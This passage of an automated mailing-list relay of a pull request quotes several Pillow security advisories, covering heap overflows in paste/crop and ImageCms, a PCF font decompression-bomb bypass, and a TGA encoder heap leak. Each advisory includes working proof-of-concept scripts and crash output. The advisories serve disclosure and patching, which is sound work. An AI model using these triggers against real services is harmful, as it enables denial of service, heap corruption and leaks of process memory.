   image allocation, the theoretical upper bound is ~2 GiB backwards from
   the destination row.
   
   Minimal public API trigger:
   
   ```python
   from PIL import Image
   
   INT_MIN = -(1 << 31)
   
   src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
   dst = Image.new("RGBA", (8, 1))
   dst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1))
   ```
   
   The same root cause is also reachable through `Image.crop()` and
   `Image.alpha_composite()`. No private API, ctypes, custom Python object, or
   malformed image file is needed.
   
   This has been confirmed as an ASAN heap-buffer-overflow write. On normal
   non-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with
   `double free or corruption (out)`
   
   ##### Details
   
   `src/PIL/Image.py:paste()` accepts a 4-tuple box and passes it to the native
   `ImagingCore.paste()` method:
   
   ```python
   self.im.paste(source, box)
   ```
   
   `src/_imaging.c:_paste()` parses the four Python coordinates into signed 
`int`
   values and calls `ImagingPaste()`:
   
   ```c
   int x0, y0, x1, y1;
   PyArg_ParseTuple(args, "O(iiii)|O!", &source, &x0, &y0, &x1, &y1, ...);
   status = ImagingPaste(self->image, PyImaging_AsImaging(source), ..., x0, y0, 
x1, y1);
   ```
   
   `src/libImaging/Paste.c:ImagingPaste()` computes and clips the region using
   signed `int` arithmetic:
   
   ```c
   xsize = dx1 - dx0;
   ysize = dy1 - dy0;
   
   if (dx0 + xsize > imOut->xsize) {
       xsize = imOut->xsize - dx0;
   }
   ```
   
   With `dx0 = 2147483646` and `dx1 = -2147483648`, `dx1 - dx0` wraps to `2`.
   That matches the 2-pixel source image, so the size check passes. The later
   `dx0 + xsize` clip check wraps around and does not reject the out-of-bounds
   destination.
   
   For 4-byte pixel modes such as `RGBA`, the paste loop then multiplies `dx` by
   `pixelsize`:
   
   ```c
   dx *= pixelsize;
   xsize *= pixelsize;
   memcpy(imOut->image[y + dy] + dx, imIn->image[y + sy] + sx, xsize);
   ```
   
   For the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before 
the
   destination row allocation.
   
   The primitive scales with the attacker-controlled source width:
   
   ```text
   source width = W
   box = ((1 << 31) - W, 0, INT_MIN, 1)
   
   C destination offset = -4 * W
   C memcpy size        =  4 * W
   write range          = [row_start - 4W, row_start)
   ```
   
   Examples for `RGBA`:
   
   ```text
   W = 2         -> writes 8 bytes before the row
   W = 1024      -> writes 4096 bytes before the row
   W = 65536     -> writes 256 KiB before the row
   W = 1000000   -> writes about 4 MiB before the row
   ```
   
   Pillow's image creation guard currently limits `xsize` to roughly
   `INT_MAX / 4 - 1`, so the theoretical upper bound for this `RGBA` underwrite 
is
   `2,147,483,640` bytes before the destination row pointer. In practice, the
   usable range depends on memory availability, allocator layout, and process 
heap
   state.
   
   Two other documented APIs reach the same sink:
   
   ```python
   
   ##### Image.crop() path
   left = INT_MIN + 2
   Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1))
   
   ##### Image.alpha_composite() path, via its internal crop()
   base = Image.new("RGBA", (2, 1))
   over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
   base.alpha_composite(over, dest=(left, 0))
   ```
   
   `Image.crop()` keeps `right - left` small, so the Python decompression-bomb
   check allows it. `src/libImaging/Crop.c` then computes wrapped paste
   coordinates and calls `ImagingPaste()`.
   
   ##### PoC
   
   The following standalone script exercises all three public API paths. Save it
   as `b021_poc.py` and run it with `paste`, `crop`, or `alpha`.
   
   ```python
   
   #!/usr/bin/env python3
   import argparse
   import sys
   
   from PIL import Image
   
   INT_MIN = -(1 << 31)
   
   def rgba_pattern(width):
       out = bytearray()
       for i in range(width):
           out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))
       return bytes(out)
   
   def main():
       parser = argparse.ArgumentParser()
       parser.add_argument(
           "variant",
           choices=("paste", "crop", "alpha"),
           nargs="?",
           default="paste",
       )
       parser.add_argument("-w", "--width", type=int, default=2)
       args = parser.parse_args()
   
       width = args.width
       src = Image.frombytes("RGBA", (width, 1), rgba_pattern(width))
   
       if args.variant == "paste":
           box = ((1 << 31) - width, 0, INT_MIN, 1)
           dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
           print(f"variant=paste box={box}")
           print(f"expected C dst offset={-4 * width}, write_size={4 * width}")
           sys.stdout.flush()
           dst.paste(src, box)
           print("paste returned; first row:", dst.tobytes().hex())
   
       elif args.variant == "crop":
           left = INT_MIN + width
           box = (left, 0, left + width, 1)
           print(f"variant=crop box={box}")
           sys.stdout.flush()
           out = src.crop(box)
           print("crop returned; output:", out.tobytes().hex())
   
       else:
           dest = (INT_MIN + width, 0)
           dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
           print(f"variant=alpha dest={dest}")
           sys.stdout.flush()
           dst.alpha_composite(src, dest=dest)
           print("alpha_composite returned; first row:", dst.tobytes().hex())
   
       sys.stdout.flush()
   
   if __name__ == "__main__":
       main()
   ```
   
   Run against an ASAN build:
   
   ```bash
   env ASAN_OPTIONS=detect_leaks=0 
ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
     python b021_poc.py paste
   
   env ASAN_OPTIONS=detect_leaks=0 
ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
     python b021_poc.py crop
   
   env ASAN_OPTIONS=detect_leaks=0 
ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
     python b021_poc.py alpha
   ```
   
   Observed ASAN signature for the direct `Image.paste()` path:
   
   ```text
   ERROR: AddressSanitizer: heap-buffer-overflow
   WRITE of size 8
   paste /out/src/src/libImaging/Paste.c:59
   ImagingPaste /out/src/src/libImaging/Paste.c:323
   _paste /out/src/src/_imaging.c:1461
   0x... is located 8 bytes before 32-byte region
   ```
   
   On non-ASAN Pillow `12.2.0` and local `12.3.0.dev0`, the direct minimal
   `Image.paste()` trigger returns from `paste()` and then the process aborts
   during cleanup with:
   
   ```text
   double free or corruption (out)
   Aborted (core dumped)
   ```
   
   Observed ASAN signature for the `Image.crop()` and `Image.alpha_composite()`
   paths:
   
   ```text
   ERROR: AddressSanitizer: heap-buffer-overflow
   WRITE of size 8
   paste /out/src/src/libImaging/Paste.c:59
   ImagingPaste /out/src/src/libImaging/Paste.c:323
   ImagingCrop /out/src/src/libImaging/Crop.c:57
   _crop /out/src/src/_imaging.c:1090
   ```
   
   ##### Suggested fix
   
   Avoid signed overflow in paste/crop coordinate arithmetic. Use checked
   arithmetic or a wider type before calculating widths and clipped endpoints.
   
   For example, reject boxes whose endpoint subtraction cannot be represented
   cleanly, and clip using non-overflowing comparisons:
   
   ```c
   int64_t xsize64 = (int64_t)dx1 - dx0;
   int64_t ysize64 = (int64_t)dy1 - dy0;
   
   if (xsize64 < 0 || ysize64 < 0 || xsize64 > INT_MAX || ysize64 > INT_MAX) {
       return ImagingError_ValueError("bad box");
   }
   ```
   
   `ImagingCrop()` should receive the same treatment for `sx1 - sx0`,
   `dx0 = -sx0`, and `dx1 = imIn->xsize - sx0`.
   
   ##### Impact
   
   This is a heap out-of-bounds write in Pillow's native C extension, reachable
   through documented public image APIs.
   
   Applications are impacted if an untrusted user can control image operation
   coordinates passed to Pillow, for example crop boxes, paste boxes, or overlay
   positions. The bytes written in the direct `Image.paste()` variant are copied
   from the source image, so attacker-controlled source pixels can influence the
   out-of-bounds write. For `RGBA`, the write is a backward heap underwrite 
whose
   offset and length are both `4 * source_width`, bounded in practice by 
successful
   image allocation and heap layout.
   
   #### Severity
   - CVSS Score: 7.5 / 10 (High)
   - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
   
   #### References
   - 
[https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4)
   - 
[https://nvd.nist.gov/vuln/detail/CVE-2026-59199](https://nvd.nist.gov/vuln/detail/CVE-2026-59199)
   - 
[https://github.com/python-pillow/Pillow/pull/9703](https://redirect.github.com/python-pillow/Pillow/pull/9703)
   - 
[https://github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b](https://redirect.github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b)
   - 
[https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3451.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3451.yaml)
   - 
[https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow)
   - 
[https://github.com/python-pillow/Pillow/releases/tag/12.3.0](https://redirect.github.com/python-pillow/Pillow/releases/tag/12.3.0)
   
   This data is provided by 
[OSV](https://osv.dev/vulnerability/GHSA-6r8x-57c9-28j4) and the [GitHub 
Advisory Database](https://redirect.github.com/github/advisory-database) 
([CC-BY 
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
   </details>
   
   ---
   
   ### Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without 
`_decompression_bomb_check()` — bomb protection bypass via PCF font loading
   BIT-pillow-2026-54059 / 
[CVE-2026-54059](https://nvd.nist.gov/vuln/detail/CVE-2026-54059) / 
[GHSA-8v84-f9pq-wr9x](https://redirect.github.com/advisories/GHSA-8v84-f9pq-wr9x)
 / PYSEC-2026-2253
   
   <details>
   <summary>More information</summary>
   
   #### Details
   ##### Description
   `PIL/PcfFontFile.py` `_load_bitmaps()` (line 227) reads glyph dimensions 
from the PCF `METRICS` section and passes them directly to `Image.frombytes()` 
without calling `Image._decompression_bomb_check()`. Dimensions originate from 
unsigned 16-bit values:
   
   ```
   xsize = right - left          (max: 65535 − 0 = 65535)
   ysize = ascent + descent      (max: 65535 + 65535 = 131070)
   ```
   
   Maximum exploitable pixel count: **65,535 × 131,070 = 8,589,734,450 pixels** 
— **48× the DecompressionBombError threshold**.
   
   **Vulnerable code (`PIL/PcfFontFile.py` line 224–227):**
   ```python
   for i in range(nbitmaps):
       xsize, ysize = metrics[i][:2]    # from PCF METRICS — attacker-controlled
       b, e = offsets[i : i + 2]
       bitmaps.append(
           Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, 
pad(xsize))
           # ↑ NO _decompression_bomb_check()!
       )
   ```
   
   `Image.frombytes()` calls `Image.new()` first (allocating the full C-heap 
buffer), **then** attempts to fill it. This creates two distinct attack paths:
   
   - **Persistent attack**: Provide matching bitmap data → `frombytes()` 
succeeds → image stored in `font.glyph[ch]` permanently
   - **Transient attack**: Provide a 148-byte PCF file with large declared 
dimensions but no data → `Image.new()` allocates the full buffer → `ValueError` 
→ buffer freed → but the spike occurs before Python can respond
   
   ##### Steps to reproduce
   
   **Proof of Concept script:**
   
   ```python
   
   #!/usr/bin/env python3
   """PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation"""
   import io, struct, tracemalloc, warnings
   warnings.filterwarnings("ignore")
   
   from PIL.PcfFontFile import PcfFontFile
   from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, 
DecompressionBombError
   
   W, H = 14000, 14000   # 196M pixels → above DecompressionBombError threshold
   
   ##### Show what Image.open() would do
   warnings.filterwarnings("error", category=DecompressionBombWarning)
   try:
       _decompression_bomb_check((W, H))
   except (DecompressionBombWarning, DecompressionBombError) as e:
       print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
   warnings.filterwarnings("ignore")
   
   ##### PCF binary constants
   PCF_MAGIC    = 0x70636601
   PCF_PROPS    = 1 << 0
   PCF_METRICS  = 1 << 2
   PCF_BITMAPS  = 1 << 3
   PCF_ENCODINGS= 1 << 5
   
   def build_bomb_pcf(xsize, ysize):
       # Properties: empty
       props = struct.pack("<III", 0, 0, 0)
   
       # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, 
ysize=ascent+descent
       metrics = struct.pack("<II", 0, 1)
       metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)
   
       # Bitmaps: 1 glyph, empty data (transient attack)
       bitmaps = struct.pack("<II", 0, 1)
       bitmaps += struct.pack("<I", 0)              # offset[0] = 0
       bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 0
   
       # Encodings: char 0x41 ('A') → glyph 0
       enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62
       encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF)
       encodings += struct.pack("<" + "H"*128, *enc_offsets)
   
       secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),
               (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]
       hdr_size = 4 + 4 + len(secs) * 16
       out = struct.pack("<II", PCF_MAGIC, len(secs))
       offset = hdr_size
       for stype, sdata in secs:
           out += struct.pack("<IIII", stype, 0, len(sdata), offset)
           offset += len(sdata)
       for _, sdata in secs:
           out += sdata
       return out
   
   pcf = build_bomb_pcf(W, H)
   print(f"[*] PCF file size  : {len(pcf)} bytes")
   print(f"[*] Glyph size     : {W} x {H} = {W*H:,} pixels")
   print(f"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)")
   
   tracemalloc.start()
   try:
       font = PcfFontFile(io.BytesIO(pcf))
       _, peak = tracemalloc.get_traced_memory()
       tracemalloc.stop()
       print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak 
{peak/1024**2:.2f} MB")
   except Exception as e:
       _, peak = tracemalloc.get_traced_memory()
       tracemalloc.stop()
       print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation")
       print(f"    Heap peak: {peak/1024**2:.2f} MB")
       print(f"    C-heap allocation of ~{W*H//8//1024**2} MB occurred before 
exception")
   ```
   
   **Expected output:**
   ```
   [Image.open() path] BLOCKED by DecompressionBombError
   [*] PCF file size  : 148 bytes
   [*] Glyph size     : 14000 x 14000 = 196,000,000 pixels
   [*] C-heap target  : 23 MB  (mode '1' = 1 bit/pixel)
   [!] CONFIRMED (transient): ValueError after allocation
       C-heap allocation of ~23 MB occurred before exception
   ```
   
   **Amplification table:**
   
   | PCF file | Glyph dims | C-heap (mode '1') | Bomb check |
   |---|---|---|---|
   | 148 bytes | 14000 × 14000 | 23 MB (transient) | Bypassed |
   | 148 bytes | 65535 × 131070 | 1.07 GB (transient) | Bypassed |
   | ~512 MB | 65535 × 131070 | 1.07 GB (persistent) | Bypassed |
   
   ##### Impact
   - **Availability**: HIGH — up to 1.07 GB per glyph, no limit per font file
   - **Confidentiality**: None
   - **Integrity**: None
   - Any service loading PCF fonts from untrusted sources (e.g., 
`PcfFontFile(fp)`) is affected
   - `PcfFontFile` is never loaded via `Image.open()`, so the bomb check 
protection is completely absent from the entire PCF font loading path
   - Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 
2026-06-07
   
   #### Severity
   - CVSS Score: 7.5 / 10 (High)
   - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
   
   #### References
   - 
[https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x)
   - 
[https://nvd.nist.gov/vuln/detail/CVE-2026-54059](https://nvd.nist.gov/vuln/detail/CVE-2026-54059)
   - 
[https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d](https://redirect.github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d)
   - 
[https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2253.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2253.yaml)
   - 
[https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow)
   - 
[https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst](https://redirect.github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst)
   
   This data is provided by 
[OSV](https://osv.dev/vulnerability/GHSA-8v84-f9pq-wr9x) and the [GitHub 
Advisory Database](https://redirect.github.com/github/advisory-database) 
([CC-BY 
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
   </details>
   
   ---
   
   ### Pillow: Controlled heap out-of-bounds write in Pillow 
`ImageCmsTransform.apply()` via output mode mismatch
   BIT-pillow-2026-59205 / 
[CVE-2026-59205](https://nvd.nist.gov/vuln/detail/CVE-2026-59205) / 
[GHSA-9hw9-ch79-4vh6](https://redirect.github.com/advisories/GHSA-9hw9-ch79-4vh6)
 / PYSEC-2026-3453
   
   <details>
   <summary>More information</summary>
   
   #### Details
   ##### Summary
   
   Pillow's public `ImageCms.ImageCmsTransform.apply(im, imOut)` API can trigger
   controlled native heap corruption when the caller supplies an output image 
whose
   mode does not match the transform's declared output mode.
   
   For example, a transform built as `RGBA -> RGBA` can be applied to an `L` 
output
   image. Pillow checks dimensions only, then calls LittleCMS with the output 
row
   pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel `L` image 
row.
   
   ##### Details
   
   `src/PIL/ImageCms.py:ImageCmsTransform.apply()` accepts an optional caller
   supplied `imOut`:
   
   ```python
   def apply(self, im, imOut=None):
       if imOut is None:
           imOut = Image.new(self.output_mode, im.size, None)
       self.transform.apply(im.getim(), imOut.getim())
       imOut.info["icc_profile"] = self.output_profile.tobytes()
       return imOut
   ```
   
   If `imOut` is provided, Pillow does not check:
   
   ```text
   im.mode == self.input_mode
   imOut.mode == self.output_mode
   ```
   
   The C wrapper in `src/_imagingcms.c` unwraps both image cores and only checks
   that the output dimensions are at least as large as the input dimensions:
   
   ```c
   static int
   pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {
       if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {
           return -1;
       }
   
       for (i = 0; i < im->ysize; i++) {
           cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);
       }
   
       pyCMScopyAux(hTransform, imOut, im);
       return 0;
   }
   ```
   
   `findLCMStype()` maps `RGB`, `RGBA`, and `RGBX` transform modes to LittleCMS
   `TYPE_RGBA_8`, which writes 4 bytes per pixel:
   
   ```c
   case IMAGING_MODE_RGB:
   case IMAGING_MODE_RGBA:
   case IMAGING_MODE_RGBX:
       return TYPE_RGBA_8;
   ```
   
   So with a transform declared as `RGBA -> RGBA`, LittleCMS writes `4 * width`
   bytes to each output row. If the supplied output image is mode `L`, Pillow 
only
   allocated `1 * width` bytes for that row.
   
   For width 4096:
   
   ```text
   destination row allocation: 4096 bytes
   LittleCMS write size:       16384 bytes
   overflow:                  ~12288 bytes past the row
   ```
   
   The bug does not require a large image. Width 8 was enough to corrupt heap
   metadata. At width 8, `apply()` returned to Python and printed `after`; glibc
   detected the corrupted heap later during cleanup.
   
   ##### PoC
   
   Tiny heap corruption trigger:
   
   ```python
   from PIL import Image, ImageCms
   
   srgb = ImageCms.createProfile("sRGB")
   transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
   
   im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44))
   out = Image.new("L", (8, 1), 0)
   
   print("before", flush=True)
   transform.apply(im, out)
   print("after")
   ```
   
   Observed locally on Pillow `12.3.0.dev0`:
   
   ```text
   before
   after
   free(): invalid next size (normal)
   Aborted (core dumped)
   ```
   
   Controlled overwrite evidence PoC:
   
   ```python
   from PIL import Image, ImageCms
   
   srgb = ImageCms.createProfile("sRGB")
   transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
   
   im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44))
   out = Image.new("L", (4096, 1), 0)
   
   transform.apply(im, out)
   ```
   
   Run under gdb:
   
   ```bash
   gdb -q --batch -ex run -ex bt --args \
     python3 b022_controlled.py
   ```
   
   Observed on Pillow `12.3.0.dev0`:
   
   ```text
   Program received signal SIGSEGV, Segmentation fault.
   ___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)
   
   #&#8203;1 _cmsLockPrimitive (m=0x4443424144434241)
   #&#8203;2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)
   
   #&#8203;3 _cmsLockMutex (ContextID=0x4443424144434241, 
mtx=0x4443424144434241)
   #&#8203;4 cmsSaveProfileToIOhandler(...)
   
   #&#8203;5 cmsSaveProfileToMem(...)
   #&#8203;6 cms_profile_tobytes (...) at src/_imagingcms.c:152
   ```
   
   `0x4443424144434241` is the attacker-controlled source pixel pattern
   `b"ABCDABCD"` interpreted as a little-endian pointer-sized value.
   
   Using source pixels `(1, 2, 3, 4)` similarly produced a faulting pointer of
   `0x403020104030201`, matching the repeated pixel bytes.
   
   ##### Impact
   
   This is a heap out-of-bounds write in Pillow's native ImageCms extension,
   reachable through public API.
   
   Applications are impacted if untrusted users can control ImageCms transform
   parameters and/or provide the output image object passed to
   `ImageCmsTransform.apply()`. The source image pixels influence the bytes 
written
   out of bounds.
   
   ##### Suggested fix
   
   Validate modes before calling into the native transform:
   
   ```python
   def apply(self, im, imOut=None):
       if im.mode != self.input_mode:
           raise ValueError("input mode mismatch")
       if imOut is None:
           imOut = Image.new(self.output_mode, im.size, None)
       elif imOut.mode != self.output_mode:
           raise ValueError("output mode mismatch")
       self.transform.apply(im.getim(), imOut.getim())
       imOut.info["icc_profile"] = self.output_profile.tobytes()
       return imOut
   ```
   
   The C extension should also defensively reject mismatched image modes before
   calling `cmsDoTransform()`.
   
   #### Severity
   - CVSS Score: 7.5 / 10 (High)
   - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
   
   #### References
   - 
[https://github.com/python-pillow/Pillow/security/advisories/GHSA-9hw9-ch79-4vh6](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-9hw9-ch79-4vh6)
   - 
[https://nvd.nist.gov/vuln/detail/CVE-2026-59205](https://nvd.nist.gov/vuln/detail/CVE-2026-59205)
   - 
[https://github.com/python-pillow/Pillow/pull/9715](https://redirect.github.com/python-pillow/Pillow/pull/9715)
   - 
[https://github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721](https://redirect.github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721)
   - 
[https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3453.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3453.yaml)
   - 
[https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow)
   - 
[https://github.com/python-pillow/Pillow/releases/tag/12.3.0](https://redirect.github.com/python-pillow/Pillow/releases/tag/12.3.0)
   
   This data is provided by 
[OSV](https://osv.dev/vulnerability/GHSA-9hw9-ch79-4vh6) and the [GitHub 
Advisory Database](https://redirect.github.com/github/advisory-database) 
([CC-BY 
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
   </details>
   
   ---
   
   ### Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data 
into generated images
   BIT-pillow-2026-59198 / 
[CVE-2026-59198](https://nvd.nist.gov/vuln/detail/CVE-2026-59198) / 
[GHSA-fj7v-r99m-22gq](https://redirect.github.com/advisories/GHSA-fj7v-r99m-22gq)
 / PYSEC-2026-3494
   
   <details>
   <summary>More information</summary>
   
   #### Details
   ##### Summary
   
   Pillow's TGA RLE encoder reads past its row buffer when saving a mode `"1"`
   image. Adjacent process heap bytes can be copied into the generated TGA file.
   
   The bug is reachable through the public save API:
   
   ```python
   im.save(out, format="TGA", compression="tga_rle")
   ```
   
   Older affected Pillow versions use the equivalent public option `rle=True`.
   
   For mode `"1"`, Pillow allocates a packed row buffer of `ceil(width / 8)`
   bytes, but `ImagingTgaRleEncode()` treats the row as one full byte per pixel.
   
   The maximum valid TGA width is `65535`. At that width:
   
   ```text
   allocated packed row buffer: 8192 bytes
   encoder byte-offset walk:     65535 bytes
   maximum OOB window per row:   57343 bytes
   ```
   
   On non-ASAN Pillow `12.2.0`, the public-only maximum-width PoC below 
serialized
   `57297` bytes from distinct out-of-bounds source offsets into one returned 
TGA,
   covering `99.92%` of the maximum adjacent heap window. No heap grooming, 
ctypes,
   private API, or malformed input file was used. The disclosure is emitted 
across
   many TGA packet payload copies of at most `128` bytes each, not one large
   `memcpy()`.
   
   ##### Details
   
   `src/PIL/TgaImagePlugin.py` allows mode `"1"` TGA output and selects the
   `tga_rle` encoder when RLE compression is requested.
   
   `src/encode.c:_setimage()` allocates the row buffer using the packed-bit
   formula:
   
   ```c
   state->bytes = (state->bits * state->xsize + 7) / 8;
   state->buffer = (UINT8 *)calloc(1, state->bytes);
   ```
   
   For mode `"1"`, `state->bits == 1`.
   
   `src/libImaging/TgaRleEncode.c` then computes:
   
   ```c
   bytesPerPixel = (state->bits + 7) / 8;
   ```
   
   This becomes `1`, and the encoder uses pixel indexes as byte offsets:
   
   ```c
   static int
   comparePixels(const UINT8 *buf, int x, int bytesPerPixel) {
       buf += x * bytesPerPixel;
       return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;
   }
   ```
   
   The packet payload `memcpy()` later copies those out-of-bounds source bytes 
into
   the output. Raw packets copy up to `128` contiguous bytes, while RLE packets 
copy
   one representative byte:
   
   ```c
   memcpy(
       dst, state->buffer + (state->x * bytesPerPixel - state->count), 
flushCount
   );
   ```
   
   A width-2 mode `"1"` image allocates one row byte and already triggers an 
ASAN
   heap-buffer-overflow read. Wider images increase the adjacent heap window and
   the amount of heap data that can be serialized.
   
   ##### PoC
   
   ##### Minimal ASAN trigger
   
   ```python
   import io
   from PIL import Image
   
   out = io.BytesIO()
   Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle")
   ```
   
   Observed on local Pillow `12.3.0.dev0` ASAN target:
   
   ```text
   ERROR: AddressSanitizer: heap-buffer-overflow
   READ of size 1
   comparePixels /out/src/src/libImaging/TgaRleEncode.c:10
   ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81
   0 bytes after a 1-byte allocation from _setimage
   ```
   
   ##### Maximum-width heap disclosure
   
   This PoC uses one maximum-width row. It parses the generated TGA packets and
   extracts only payload bytes whose source offsets were outside the allocated
   packed row. Rows are  avoided because they mostly repeat the same adjacent 
heap window.
   
   Run the following with a standard affected Pillow installation.
   
   ```python
   import hashlib
   import io
   import PIL
   from PIL import Image
   
   WIDTH = 65535
   ATTEMPTS = 20
   ROW_BYTES = (WIDTH + 7) // 8
   MAX_OOB_WINDOW = WIDTH - ROW_BYTES
   
   def extract_oob_payload(data):
       i = 18
       pixel = 0
       oob = bytearray()
   
       while pixel < WIDTH:
           descriptor = data[i]
           i += 1
           count = (descriptor & 0x7F) + 1
   
           if descriptor & 0x80:
               value = data[i]
               i += 1
               if pixel + count - 1 >= ROW_BYTES:
                   oob.append(value)
           else:
               values = data[i : i + count]
               i += count
               oob.extend(values[max(ROW_BYTES - pixel, 0) :])
   
           pixel += count
   
       return bytes(oob)
   
   best = b""
   
   for _ in range(ATTEMPTS):
       out = io.BytesIO()
       Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", 
compression="tga_rle")
       oob = extract_oob_payload(out.getvalue())
       if len(oob) > len(best):
           best = oob
   
   with open("/tmp/max_oob_bytes.bin", "wb") as fp:
       fp.write(best)
   
   print(f"Pillow={PIL.__version__}")
   print(f"packed_row_bytes={ROW_BYTES}")
   print(f"maximum_oob_window={MAX_OOB_WINDOW}")
   print(f"serialized_distinct_oob_offsets={len(best)}")
   print(f"nonzero_oob_bytes={sum(byte != 0 for byte in best)}")
   print(f"coverage={len(best) / MAX_OOB_WINDOW:.2%}")
   print(f"sha256={hashlib.sha256(best).hexdigest()}")
   ```
   
   Observed on installed Pillow `12.2.0`:
   
   ```text
   Pillow=12.2.0
   packed_row_bytes=8192
   maximum_oob_window=57343
   serialized_distinct_oob_offsets=57297
   nonzero_oob_bytes=54407
   coverage=99.92%
   ```
   
   ##### Impact
   
   This is a heap out-of-bounds read and potential information disclosure.
   
   A maximum-width single-row image can cause nearly the full
   `57343`-byte adjacent heap window to be incorporated into one output file.
   
   #### Severity
   - CVSS Score: 6.5 / 10 (Medium)
   - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L`
   
   #### References
   - 
[https://github.com/python-pillow/Pillow/security/advisories/GHSA-fj7v-r99m-22gq](https://redi
   
   > ✂ **Note**
   > 
   > PR body was truncated to here.
   


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: [email protected]

For queries about this service, please contact Infrastructure at:
[email protected]

Reply via email to